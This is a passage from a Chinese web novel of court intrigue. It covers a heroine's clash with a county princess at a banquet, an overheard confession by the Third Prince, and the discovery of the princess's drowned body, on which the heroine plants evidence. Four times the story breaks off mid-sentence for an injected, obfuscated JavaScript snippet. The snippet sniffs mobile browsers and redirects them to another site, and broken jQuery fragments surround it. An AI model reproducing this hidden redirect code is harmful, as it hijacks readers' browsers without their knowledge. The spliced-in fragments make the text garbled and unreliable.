卫燕然冷眼看了两小厮一下,突然笑道:“哟,好久不见啊你们,你们是上次跟在县主身边伺候的吧?怎么被派来守门了?”
两位小厮一愣,对视一眼,正准备继续说话,又被卫燕然的话打断。
“行了,我知道你们要说什么。”卫燕然展开扇子,一副十分好说话的样子,“我也不为难你们,把牌子撤了找人给我带路吧。”
见两人不说话,她又沉了脸,道:“还是说,你们想先被我揍一顿再照做?”
那先开口说话的小厮强撑着,刚摆出一张嘲讽的小人嘴脸,就被破碎的大门木刺划伤了面颊。
他瞪大了双眼,半天反应不过来,最后跌坐在地上,什么话也说不出了。
卫燕然笑吟吟地收了手,仿佛打碎了大门的人不是她一样。
再一再二不再三。她可以宽容这些人为了讨口饭吃故意为难她,却不能真的让这些人把她的脸踩在脚下。
另一位小厮一拍大腿,恭维道:“您是明白人,不与我们这些小人物计较。您稍等一会儿,我去叫人。”
说完,行了一礼,便离开了。
原先那位被吓到的小厮瘫软在地,半天爬不起来。直到被卫燕然冷淡地看了一眼,才颤抖着手脚“哼哧哼哧”地拔那块牌子——钉得还挺深。
好不容易拆出来,正要往地上一摔,就被卫燕然阻止了。
“不必了,留着吧。”卫燕然唇角勾笑,“我后面自有用处。”
那小厮汗津津地退到一边了。
不一会儿,带路的丫鬟来了。先前那小厮倒是没回来,大抵是去汇报情况去了。
卫燕然倒是也不在意。那丫鬟怯生生地给卫燕然行了一礼,也不敢多问,说了一句“您跟我来”,就不说话了。
卫燕然跟着那丫鬟走过园林,她感觉那丫鬟带着她绕了路,却也没有拆穿。待七拐八拐地走到到了一处庭院门口时,那丫鬟低着头说了一句“就是这里”,便又行礼离开了。
此时还来宾还未到全,所以大家都三两分席地坐在庭院里。儿郎们一个院子,女郎们一个院子。春日宴总是待人到的差不多了,才会正式开宴。
侍女退下后,卫燕然靠近院门。也不知里面在说什么,还未走进去,便听到一阵哄笑声。
卫燕然本来准备敲门的手一顿,挑了挑眉,直接推门而入。
“哟,什么事儿这么热闹啊?不如也说来我听听?”
听到卫燕然的声音,门内的嬉笑声为之一停,全场寂静,闻针落地。
卫燕然等了片刻,遗憾道:“没人说吗?既然你们不说,那我也不说了。”
见卫燕然走进庭院,坐在上首的青阳县主脸色一沉,然后又笑道:“我当是谁呢?原来是大名鼎鼎的卫四公子。”
“怎么,看不懂门口的牌子吗?”青阳县主挑衅地扬起下巴,笑道,“虽然早听说过你不学无术,但应该也不至于连这么简单的字都不认识吧?”
卫燕然……卫燕然在环顾四周,左看右看,好不容易找到了自己的位置,欢欢喜喜地坐下了,嘴里嘟囔着“这位置可真难找”之类的话,仿佛没听见青阳县主说话。
见卫燕然不搭理自己,青阳县主脸上的笑容又是一沉。
“怎么,觉得丢人,不敢回答我了吗?”
见周围都鸦雀无声,没人应和,卫燕然仿佛才反应过来青阳县主在和自己说话,抽出折扇拍了拍头,恍然道:“你刚刚是在和我说话吗?抱歉,刚才找位置去了,要不然你再说一遍?”
卫燕然的位置是青阳县主故意安排的,离青阳不远,却极为偏僻。不怪卫燕然一顿好找。
青阳县主咬牙,又扯出一个嘲讽的笑,重复了一遍自己的话。
卫燕然微微耸肩,把扇子一展,摆出一个潇洒的坐姿,无所谓道:“门口骂的是卫四,和我卫燕然又有什么关系?”
“你!”青阳县主磨了磨后槽牙,气得拍桌,“你真是好厚的脸皮,真不要脸!”
“哈?”卫燕然惊讶地看向青阳,“这不是全京城人的共识吗?怎么,你的好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303290|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姐妹们说小话的时候都不带你,所以你今天才知道?”
“你这油嘴滑舌的小人!”
有人忍不住偷偷笑出了声,得到了青阳县主一记眼刀,便又安静了。
青阳县主收回目光,又和卫燕然你来我往地打了几个机锋。纵使对卫燕然恨得咬牙切齿,却又无可奈何。
毕竟是大家闺秀,青阳嘴上再是不饶人,也不过只会说些“不要脸”、“小人”、“厚颜无耻”之类的话,对在三教九流里爬过的卫燕然来说根本就不痛不痒,算不得什么。
几个机锋打下来,青阳完败。
毕竟卫燕然不要脸,她还是要脸的。因此气势上天然就输了卫燕然一截。
突然,青阳县主的侍女偷偷在她耳边说了些什么,她便又笑了起来,道:“你便是说一千道一万,也改变不了你今天进了这个门,你就是在狗叫。”
“我侮辱了你卫四又如何,你不还是得滚进来给我捧臭脚吗?”
“什么京城纨绔之首,也不过如此了。”
卫燕然的目光随着青阳的话一寸一寸地冷了下去,但很快她又扬起嘴角,挑衅道:“狗叫说谁呢?”
青阳口不择言道:“狗叫说你呢!”
卫燕然笑出声,道:“对,狗叫的人确实在说我。”
众人也都忍不住笑了起来。但都挨了青阳的眼刀,慢慢安静了。
卫燕然微微一笑,正准备把先前的侮辱一一奉还时,一位兵部侍郎家的女眷突然又笑出了声,在安静得只有风声的院子里,显得格外突兀。
见众人目光纷纷看过来,那位女郎擦了擦眼角笑出来的泪水,道:“我没事。只是看了出好戏罢了。”
看到那位女郎,青阳县主仿佛一下子有了底气,故作好奇地问道:“哦?你给本县主说说,是什么好戏?”
那女郎便笑道:“自然是卫家的好戏。”
众人倒吸一口凉气。
那女郎故意停顿了片刻,给众人留足了反应的时间,才又道:“没想到卫家竟然能容忍至此,这般上赶着被打脸的宴会也愿意来。可见当真是……”
说着,她含笑摇头,点到为止。
卫燕然脸上的笑意冷了下来。她同青阳纠缠的方向,就是把此事缩小到个人恩怨,这样即便是她的安排出了差错,对卫家的影响也能降低到最小。
但是这个女郎直接把话挑明了。卫燕然再想装聋作哑地蒙混过关,怕是不行了。
见众人不语,那女郎捂嘴轻笑一声,又道:“卫娘子勿怪。我说的是卫四的卫,同你没有关系。”
竟是把卫燕然之前替自己开脱的话又正面怼了回来。
众人纷纷将目光转向卫燕然,有人乐得看戏,有人暗暗算计,都在看卫燕然打算怎么回应。
卫燕然眼珠子一转,就有了决断。
首先,她绝对不能软。作为纨绔子弟时的她可以撒泼认怂玩不起,但代表卫家时的她绝对不能这么做。但凡软一分,他们就会进一尺。往后再和这些世家打交道就不会像现在这么简单,卫家想找人办事时也会变难。
其次,她暂时不能把事闹得太大,至少不能是她把事情闹大。虽然她做了些安排,但狗皇帝可未必会按照她的想法走。若是闹大了,却收不了场,最后难堪的还是卫家。
最后,她必须马上回应青阳了。本来她准备等青竹回来,十拿九稳了之后再发作,现在看来怕是不能了。丢了的脸面想重新捡起来,需要花费的资源众多,得不偿失。便是日后找补回来了,想要再次建立起威信也得花上不少时间。
她装出一副刚刚听明白的样子,隐怒道:“所以你的意思是,青阳县主针对的不是我卫燕然,而是卫家?”
她转头冷眼看向上首的青阳,道:“青阳县主,麻烦你解释解释,门口那块牌子是什么意思?这就是大长公主对卫家的待客之道?”
8. 第八章 军功
卫燕然突然发作,让青阳县主有些措手不及,她结结巴巴地道:“什……什么?”
卫燕然挑眉,又冷声重复了一边自己的话,道:“我在问你:门口那块牌子,你们大长公主府到底是什么意思?针对卫家吗?”
卫燕然向来不着调,态度吊儿郎当。便是打你,脸上也都是笑着的。这还是她头一次在众目睽睽之下这般咄咄逼人。
一向没脾气的人突然发怒,总是让人害怕的。
青阳县主不想承认自己被吓到了,定了定神后,她想起了在边关的兄长。
没错,现在卫家早已失了君心,倒下也不过只是时间问题。祖母说过,皇帝姑父后面会慢慢把兵权过渡给兄长,到时候卫家再失了兵权,不过是秋后的蚂蚱罢了。皇帝姑父可是站在他们这边的。
没有君心,又失了兵权,卫家都要变得一文不值了,卫燕然又有何惧?
想清楚了这些,她心里轻松不少,色厉内荏地呵斥道:“谁给你的胆子来质问本县主?你有什么资格向本县主要解释?”
“说好听点,你是臣女。说难听点,你父母都去世了,你自己不过一介白身。让你参加宴会已经是大发慈悲,体恤英烈了。你可倒好,敢向我提要求,你也配?”
“说白了,你们卫家不过是靠着点兵权才在京中横行,没了兵权你们算什么?我哥哥迟早会……哼。”
青阳县主说着,拍案而起,头扬得高高的,像极了天鹅。
她身边的侍女听着前两句话时,还稳坐钓鱼台。听到第三句时坐不住了,可阻拦已经太迟了。
身为侍女她又不能直接去捂青阳县主的嘴,手刚拉上青阳县主的袖子,就被站起来的青阳县主掀翻在地。
于是只能一脸惶恐地看着青阳县主发挥。
好在青阳县主也不是蠢笨至极,堪堪在关键时候刹住了嘴。
院子里的气氛一度冷凝,不少人都低下了头,既不敢看青阳县主,也不敢看卫燕然。都怕自己不小心在此时当了出头鸟。
就在这鸦默雀静之时,卫燕然却笑了起来。
那笑声爽朗大气,笑得青阳县主浑身不自在,笑得她身上仿佛有蚂蚁在爬。
卫燕然弯着腰,一手捂着肚子,一手擦着脸上笑出来的眼泪。
青阳县主几次想打断这笑声,都没能打断得了。
最后她忍无可忍地爆发了,尖声道:“你在笑什么?不许笑!不许!你听到没有?”
卫燕然停了下来,脸上还挂着意犹未尽的笑意。
她道:“我还以为你们大长公主府是得了什么大机缘,居然敢直接和卫家叫板,结果居然就这?”
“一个假报军功的废材,居然成了你们公主府的底气了?”
“真是,不要太好笑。”
这句话就像一颗石头被丢入寂静的湖水,荡起层层的涟漪。众人开始小声地交头接耳,青阳县主几次妄图主持大局,都被大家忽视。
青阳见制止不了众女郎,只好又把目光投向罪魁祸首卫燕然。她眼含怨恨,厉声道:“你说谎!我哥哥才没有假报军功。你就是在嫉妒!”
见青阳县主破防,卫燕然反而温和起来。
她怜悯地看着青阳,就像在看一个不懂事的小孩一样。
“你说是就是吧。”卫燕然轻声笑道,“与其在这里和我掰扯,不若回去好好想想,你那在京城时便整日逗猫遛狗的兄长,怎么可能一夜之间变成守护边疆的大英雄?”
青阳县主怔愣住,心里冒出丝丝缕缕的恐慌。
是啊,哥哥在家里时便文不成武不就,做事拈轻怕重,当不得半点儿责。怎么可能在边疆半年就闯出一片天了呢?
不,不对。她不能怀疑哥哥。她不应该怀疑哥哥。一定是卫燕然,一定是她!是她陷害了哥哥!
她张了张嘴,正准备说什么。就被一个一脸慌张的侍女从身后拉住了。
那侍女拉着她,不知和她说了些什么,她一下子便跌坐在地,脸上一片空白。
看到这一幕,纵使青竹还没回来,卫燕然心里也有数了。
她冷眼笑着,起身拍了拍衣袖,道:“今日之事我记下了。我一向不和小孩计较,只和大人计较。所以麻烦你们这些伺候的,帮我转告一下大长公主……”
她露出一个明媚的笑:“日后做事的时候千万小心些,可别像去年那样毛手毛脚了。”
说完,便离开了座位。几位侍女小厮想阻拦却又不敢,最后只能眼睁睁地看着她离席。
卫燕然刚拐出小院,便撞上一个慌慌张张赶来,喘着粗气的小郎君。
那郎君大约十五六岁的样子,身穿白色交领圆袍,容貌清秀却故意蓄了些胡须,看着不伦不类的。此时正着急忙慌地跑过来。
撞到了人,他本来龇牙咧嘴地想道歉。但话在嘴边转了一圈,见是卫燕然便眼睛一亮。
“燕然姐?你没事儿啊。”他惊喜道,“我刚刚听说那个青阳故意为难你来着,所以特意过来看看。”
“我当然没事了。”卫燕然挑眉道,“倒是你,怎么这个样子?”
那少年不好意思地摸了摸嘴边的胡子,笑道:“红梅上次说她喜欢成熟点的男子。你看我现在看起来成熟点了吗?”
卫燕然眼神复杂地打量了他片刻,最后还是不忍直视地转过了头,道:“你开心就好。”
那少年倒是认真地纠正卫燕然的说法,道:“我开不开心不重要,重要的是红梅喜不喜欢……诶,说起来,红梅呢?”
“你出门不是都会带红梅的吗?今天她怎么不在这里?”
他一边说着一边往卫燕然身后看去,却被卫燕然嫌弃地推远。
卫燕然解释道:“我最近出门都带的是青竹。青竹回去帮我拿东西了。”
“哦。”少年失落地低下了头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303291|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
毕竟是自己的小弟,虽然平日里没什么用,但好歹人老老实实地给自己当了这么久的跟班,还给她介绍了不少世家的人脉。
于是卫燕然勉强安慰道:“你该庆幸红梅没来。就你今天这个样子,绝对靠近不了她三尺。”
那少年惊疑不定地摸着自己脸上的胡须,道:“真的?”
卫燕然点头,道:“真的。现在红梅又不在,我骗你做什么。”
那少年一下子就泄气了。
少年便是金陵王家“之”字辈最小的孩子,王焕之。现在王家当家人是他同父同母的亲兄长。因为同兄长年纪相差太大,所以基本上是被兄长当儿子养大的。
因为是上一代王家话事人的老来子,从小被娇宠。同他年纪相仿的辈分都比他低,同他辈分相同的又多已年过而立,不会和小孩子计较。故而在被卫燕然捡走前,是个天不怕地不怕的混世小魔王。
几年前在京城里耍横时,阴差阳错碰到了卫燕然。挨了一顿揍后,从此就成了卫燕然的跟班,赶都赶不走。卫燕然无奈,被迫收下了这个小弟。
受到了打击,王焕之垂头丧气地跟在了卫燕然身后。
卫燕然也不管他,自顾自地向前走着。
眼见走的路越来越偏,王焕之总算是回过神来,问道:“燕然姐,我们这是去哪啊?”
卫燕然理直气壮道:“不知道。”
王焕之噎了一下,道:“您不知道一个劲儿地走什么?”
卫燕然摆了摆手:“走到哪算哪。怎么,你有意见?”
说着,卫燕然停了一下脚步,抬眼看他。王焕之嘴角抽动,连声道:“不敢。”
最后还是老实跟在卫燕然后面。
走的路越来越偏,但风景却越来越好,看得人心旷神怡。
不过没过多久,王焕之速度便开始慢了下来。
“燕然姐,我们歇会儿好不好?”王焕之微微喘着气道,“我刚刚找你的时候就是跑着去的,现在有点走不动道儿了。”
王焕之因为是老来子的原因,身体一直不太好。这还是他跟着卫燕然学了点儿皮毛武艺之后,好了不少的身体了。从前更差,这也是他家里人娇惯他的原因之一。
卫燕然估摸了一下男宾院子到女宾院子的距离,感觉这孩子确实有些累了,便道:“行吧。我找个地儿让你歇歇脚。”
王焕之连连点头。
卫燕然转了两圈,找了一棵还算粗壮的树。示意王焕之过来后,拎着王焕之的衣领就把人送了上去。
“燕然姐!”王焕之抱着树干,不满地抗议道。
卫燕然嘴角带笑,正想调笑王焕之两句。突然耳朵微动,小声呵斥道:“别说话,有人来了。”
说完,一个飞身便也上了树干。
王焕之等了一会儿,也没看到卫燕然口中的来人。正想说话,就见一男一女步履款款地朝这边走来。
9. 第九章 撞破
王焕之屏住了呼吸,眼睛一眨不眨地看着那对走过来的男女。
是三皇子和谢娘子啊。
认出来的瞬间,他刚松了口气,又立刻倒吸一口凉气,不由得想到之前京城传遍了大街小巷的谣言。
“三皇子萧玉尘喜欢准太子妃谢知书。”
想到这里,他不经联想到京城盛传的另一个谣言,于是开始偷偷拿眼看身边的卫燕然。
卫燕然在那对男女出现的一瞬间,脸色就变得极其难看。
又是那个人!
谢知书她认识,那和她在一起的男子是……?
卫燕然正想着,好死不死,那对男女还真就往他们藏身的这颗树走来了。
风里送来他们断断续续谈话的声音,卫燕然听得不是很真切,直到他们二人走到树荫下,停下了脚步。
“……谢娘子,这次叫你出来,是……是我有话想对你说。”
谢知书不明所以地偏了偏头,道:“殿下是有什么事需要我帮忙吗?您说吧,如果我能帮上忙的话,一定会尽力而为的。”
殿下?是——是那个名不经传的三皇子吗?之前和谢知书传过谣言的那个?!
错不了了,就是他。皇室里除了这个废材小透明,其他人她都认识。
难怪那天要去跟踪太子……狗东西果然是编的假名字!白瞎了那张脸了!
卫燕然脸色一沉,心中升起一股无名之火。
萧玉尘微微别开了脸,有些难堪又有些羞涩道:“我……我知道不应该,但是我确实,情难自已。”
谢知书轻轻“啊”了一声,语调较之前添了几分慌张:“我不是很懂殿下您的意思。您是说……”
在卫燕然视角下的萧玉尘,动了动他那颗毛茸茸的脑袋,点了头,然后道:“我对谢娘子你……我心悦谢娘子。”
谢知书愣了片刻,再说话时,明显手足无措起来。
她慌乱道:“可我,可我是太子殿下指腹为婚的未婚妻啊。以后就是殿下你的嫂子。你怎么能——怎么能有这种想法呢?”
萧玉尘沉默了片刻,再开口,语气明显较之前痛苦无助许多:“我知道不应该。可我……”
谢知书却打断了他,用严肃认真的语气道:“三皇子殿下从前身处深宫,没有见过太多女子。所以才误把对我的感激之情,当作了爱慕。”
说完,她偏过头,不看萧玉尘,继续道:“……我已经被父亲许配给太子殿下了。这样的话,三皇子殿下以后还是不要说了。”
萧玉尘面色黯然,刚伸出手,又捏紧了拳头缩回去。
就在这时,树上突然传来一阵“窸窣”声,既像是鸟踩上了树枝发出的声音,又像是风吹过树叶发出的声音。
“什么人?”
萧玉尘抬头将目光射向头顶的树冠。
卫燕然也对身边不慎滑了一下脚的王焕之怒目而视。
王焕之努力收起自己的身躯,蜷缩成一团,捂住自己的嘴,欲哭无泪。
我这该死的八卦之心,怎么就控制不住呢?
这下好了,要被发现了……希望燕然姐待会儿打他的时候别打得太死,给他留一口气,下次好见红梅。
卫燕然看着脚下郁郁葱葱的树叶。此时正是人间的五月天,树木长得枝繁叶茂。
可卫燕然拿不准萧玉尘是否能看见藏身其中的他们,毕竟卫燕然二人在上面,是能透过枝叶的间隙观察谢知书和萧玉尘的。
好在萧玉尘只看了几眼,便垂下了目光,自言自语道:“是风声吧?”
谢知书也抬头看了看大树,似乎也没发现异常,于是借机告退道:“既然三皇子殿下无事,那我便先告辞了。……我的侍女还在那边等我呢。”
说完,也不等萧玉尘出声挽留,朝他行了一礼,小步快走地离开了。
萧玉尘看着谢知书的背影慢慢消失在视线中。
待谢知书完全离开后,萧玉尘沉下脸,屈指敲了敲树干,语气轻柔道:“下来吧。”
就像一只诱惑猎物进陷阱的毒蛇。
于是王焕之又挨了一记卫燕然的眼刀,抱着树干不敢动弹。
卫燕然冷哼一声,脚下轻点,飞身下了树。
她今日梳了一个单螺髻,穿着一身青色直裾,看得出来对衣裳做过改良,比寻常女装轻便不少。一双凤眼含情,长眉入鬓,面若冠玉。其身量高挑,同他相比也矮不了多少。
见了卫燕然,萧玉尘眉眼微动,脸色好看了些,但眼底还是晦涩。
他勾起嘴角,皮笑肉不笑道:“又是你。”
卫燕然也挑眉假笑道:“这话该我说吧,怎么又是你?”
萧玉尘气笑了,道:“你偷听在先,怎么还好意思倒打一耙?”
卫燕然也笑,道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303292|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你搞清楚点,这地方是我先来的。你们才是那个不速之客。”
萧玉尘笑得开朗,却让人感觉背后一凉。他从牙缝里挤出警告:“识相点吧,我还没有追究你上次对我做的事。”
卫燕然“哈”了一声,道:“真说起来,我也没有追究你拿假名字骗我的事吧?”
萧玉尘脸色一沉:“是你先跟踪威胁我的!”
卫燕然目露凶光:“那也是你先假冒我的相亲对象,戏弄我的!”
“是你先!”
“是你!”
“你!”
……
就在二人争执不休时,树上突然传来一道弱弱的声音:“那个,打断一下。在你们吵完之前,可不可以先救我下去?我要抱不住树干了。”
被人打断,萧玉尘才惊觉原来此地还有第三人。
他看着卫燕然怒斥对方“废物”,然后又飞身上去救人,不由得抿起嘴角,垂下了那双好看的眼睛,眼底都是沉淀的阴谋诡计。
他居然就这么失了警觉心,和卫燕然这个纨绔像小孩儿一样吵起来了?!
不行,这两个人……都不能留了。
正好现在是在春日宴,卫燕然和青阳县主一向有龃龉,不如就让他们死在这里,嫁祸给大长公主……
他眼底晦暗交替,直到被卫燕然叫了一声,才回过神来。
卫燕然救下来的那少年微微仰头,看着他,满眼好奇,道:“原来流言不是假的。你真的喜欢准太子妃啊?”
萧玉尘虽然对他起了杀心,却还是习惯性地露出温和的笑,轻轻摇头道:“只是落花有意,流水无情罢了。”
那少年“嗐”了一声,一拍大腿,道:“这不是巧了吗?我燕然姐喜欢太子!”
萧玉尘微微瞪大了眼睛,他没懂这小孩儿的脑回路。卫燕然喜欢太子的流言他听说过,然后呢?这又怎么了?
见萧玉尘不解,那小孩又道:“你喜欢准太子妃,她喜欢太子。你俩合作把那两人一拆,各自抱得美人归不就行了吗?”
闻言,萧玉尘“刷”地一下抬头,看向卫燕然。卫燕然也被自家小弟的发言所震撼,在原地楞了几秒。
然后她一巴掌拍在王焕之的头上,皱眉道:“胡说八道什么呢?”
王焕之龇牙咧嘴地捂着头,道:“难道不是吗?还是说,流言是假的,你们根本不喜欢对方?”
10. 第十章 青阳死了?
卫燕然立刻反驳道:“怎么可能?”
王焕之便问道:“那你为什么不同意合作?”
“我……”卫燕然下意识看了一眼萧玉尘,突然反应过来,对着王焕之就是一巴掌。
“我要干什么,轮得到你说?”
“嘶,疼疼疼。”王焕之皱着眉头,捂着头道。
“滚。就知道出些馊主意。”卫燕然一脚踹在王焕之的屁股上,将人踹出去三尺远。
萧玉尘从听到王焕之的提议时,就开始陷入沉思。
虽然有点儿想杀了他们两个,但是卫燕然的武功确实不错,杀她的时候如果达不到一击即中的话,有极大可能会被反杀。
使阴招倒也不是不行,就是留痕太多,不方便清理。万一疏漏了什么被发现了,太不值当。他苦心筹谋多年,可不能为了这点儿小事就暴露。
而且今天他路过某处时,似乎听到过一些有意思的东西……等等,如果是这样,倒也不用急着杀他们了。
他今日也许能看上一出好戏,说不定还能推波助澜一番……
思绪千回百转之后,他拿定了主意,注意到卫燕然投过来的目光。
看起来这位卫四公子也很不乐意和他组队嘛。
怎么办,她越是这样,他就越想答应王焕之。
于是萧玉尘朝卫燕然露出一个恶劣的笑,转而对王焕之温和道:“我自然是愿意的,可惜,卫娘子似乎不是很乐意呢。”
卫燕然:“……”
故意的。这狗男人一定是故意的!
王焕之被美人的笑容迷花了眼,但很快又因为“卫燕然的小弟”这个身份的责任感而清醒过来。
他转头看向卫燕然,眼里写满了想看搞事的期望。
卫燕然:“……滚。”
被拒绝了,萧玉尘也不在意,笑着留下一句“自有你求我的时候”,便离开了。
待萧玉尘离开后,王焕之果不其然遭了一顿毒打。
“燕然姐,你怎么不同意呢?多好的机会……嗷!不是,你不同意也就罢了,怎么还打人呢?”
闻言,卫燕然的胸口剧烈起伏几下,又给了王焕之一巴掌。
她恶声恶气地说道:“你自己想!”
说完就丢下王焕之自行离开了。
独留王焕之一人在原地,满脸困惑,怎么想都想不通——他觉得自己的提议明明很好啊。
卫燕然独自走在了回宴席的路上。
之前玩归玩闹归闹,现在得赶紧回去了。
她刚才故意走偏一点,是想让大长公主找不到人,多着急一会儿。
现下也该回去了。
情绪是个好东西,在对手情绪上头之时,最好谈判。但也要注意尺度,避免对方狗急跳墙,玉石俱焚。
想到这里,卫燕然嘴角勾起冷笑,走进回廊。
在走过一处偏僻的小院时,卫燕然就好像听到了什么声音。
她耳朵动了动,往回退了两步,果然声音清晰了些。
“……救……”
什么救?有人在呼救吗?
她又倒退了些。
“……救……命,我……”
真有人在呼救?!
卫燕然仔细辨别了一下声音的方向,跳上围墙,拔腿就跑。甚至顾不得隐藏实力来维持自己纨绔的身份,直接用上了轻功。
到了地方,是一出相当漂亮的园林造景,大长公主一定花了大价钱做这个,不愧是天潢贵胄。
园林里有一处人工湖泊,湖泊上还及其风雅地搭了一座木桥。
晃眼一看,似乎并没有什么人在,水面波澜不惊,只有微风吹过。仿佛卫燕然听到的呼救只是幻觉。
但卫燕然走到了木桥上。
木桥正中的位置,有一处明显的断口。在远处看不出来,要走近才能看到。
卫燕然伸手摩挲了一下断口的木头,解开衣裳,丢下外衣就跳进了湖里。
她水性不错,在湖里游鱼一样,还能潜到水底四处翻找,但水深超过了她的想象,她什么都没找到。
她浮上水面重新换了一口气,又一头扎进了水中。
好在她的推测是正确的,落水的人确实在木桥的断口附近。她游过去,看见一个身穿天蓝色衣裳的女子已经几近沉底,再发不出声音。
难怪不好找人,衣服的颜色和湖水太接近了。
卫燕然抽出那女子头上的繁重发饰,又摸出小刀划破了对方的厚重衣裳,托着人游回岸边。
“喂,醒醒!”卫燕然为那女子按压了腹腔,没吐水。又拍了拍那女子的脸,没反应。
然后她摸了摸这人的脖子。
人已经没有脉搏了。
卫燕然跌坐在了地上。
她把对方贴在脸上的湿发拨开,居然还是个熟人——青阳县主。
看清是谁的一瞬间,卫燕然突然就明白为什么青阳县主会在这里了。
大长公主好狠的心,为了摆脱先前惹下的一系列麻烦,居然舍得直接把自己的亲孙女杀死。
如果她没猜错,下一步就要嫁祸给她了。
是她小看了大长公主了。能安稳渡过三代帝王,还依旧在权力周围打转的人,怎么会是等闲之辈?
就是太过心狠了些。
卫燕然手心发汗,她强忍着想呕吐的欲望,开始检查青阳的尸身——
青阳面色惨白,眼睛没有充血,口鼻处也没有血沫,应该不是溺水身亡。
身体还算柔软,没有开始尸僵,说明死亡时间尚短。
卫燕然将她翻了个身,在后颈处找到了致命伤,颈骨破碎,一击即亡。
京中众人皆知,卫燕然武艺高强,不动刀剑也能揍得人哭爹喊娘,经常把玩着一把看似毫无杀伤力的折扇。
这个伤,太像卫燕然用折扇动的手了。
怎么办?这场鸿门宴,她竟然一时找不到解脱的方法。
既然如此……
既然如此,她也就不管了。要闹大,那就闹得再大一点吧!
卫燕然目光一沉,从袖口掏出一块玉牌,正是三皇子萧玉尘的皇子令。
她刚刚见萧玉尘目光晦涩,隐有杀意,就在路过萧玉尘时,偷偷从他身上把玉牌拽了下来。
本打算日后在他发难时威胁他,没想到这么快就派上了用场。
她把玉牌塞进青阳的手里固定,等青阳尸身开始僵硬,能死死地抓住玉牌了,她才又将人带到桥上,将她沉入湖底。
对不住了。她此次若是能顺利逃脱,必去白马寺为青阳供一盏长明灯。
唯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303293|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一能让人稍感欣慰的是,青阳是一击即亡,死前并无太多痛苦。
卫燕然站在断桥处,为青阳默哀了半刻钟,离开了断桥。
她按照原来的方向原路返回,只走到一半便碰上来“找人”的丫鬟小厮们。
那些人嘴上喊着“县主!县主你在哪儿啊县主?”脚步却异常坚定地走向卫燕然刚刚走出的园林。
果然。
稍加思量后,卫燕然绕开了那群家丁,换了个方向走。
现在不能让他们找到她,不然实在说不清……该去哪儿呢?
正想着,她不知不觉走到了别庄的大门处。
罢了,干脆就先在这里等等再做打算。别庄占地巨大,他们绝对想不到她会在这边。
刚站定,好巧不巧,有一位衣着华贵的贵人在门口下了马车。
她摇着团扇,对门口招待的小厮不屑一顾,冷嘲热讽。在看到卫燕然故意留下的牌子时,更是怒不可遏地一脚踩碎了牌子。
是……是表姐。
卫燕然双眼一亮,在萧玉溪故意为难那群人时,偷偷捡起石子打在了她的左肩。
萧玉溪抬头看了看四周,没发现异常,正疑心是不是幻觉,却又感觉到左肩的触动。她低头,恰好看见一颗小石子在她衣服上滚落。
这是她幼时和卫燕然玩过的游戏。
那她肯定就在附近。
可她为什么不显身呢?是……不方便吗?
想到这里,萧玉溪微微收敛了怒气,装作站不稳的样子扶住了身边宫人的手,又故意揉了揉头。
“给我找处院子让我休息!真是……气得我头都疼了。”
见小祖宗主动开口要离开,几位小厮都面上一喜,赶紧叫来带路的丫鬟,让人把六公主带去休憩的小院。
卫燕然不动声色地跟了上去。
不敢叫不舒服的公主多走,丫鬟们直接带公主去了最近的一处院落,正好也方便了卫燕然。
在萧玉溪赶走身边宫人,刚关上门,卫燕然就出现在刘玉溪身后。
萧玉溪转身时惊了一下,立刻扶着卫燕然坐到了床边。
然后她心疼地把卫燕然松散的湿发别在她的耳后。
“怎么搞成这样?”萧玉溪蹙眉问道,递给她一杯热茶。
卫燕然接过茶水,一饮而尽,面色总算好看了几分。
她抬头看向萧玉溪,道:“青阳死了。大长公主杀了她。他们还准备嫁祸给我。”
萧玉溪闻言,也是一惊:“怎么会?”
卫燕然苍白着脸,缓缓道:“此事说来话长,我也不知道为什么大长公主要杀她。”
萧玉溪沉下目光,思量了一会儿,当机立断道:“那就先别说了,先去沐浴更衣去去寒气,洗完了再慢慢和我说。”
说完,又风风火火地叫来宫人,让她们备水,她要洗浴。
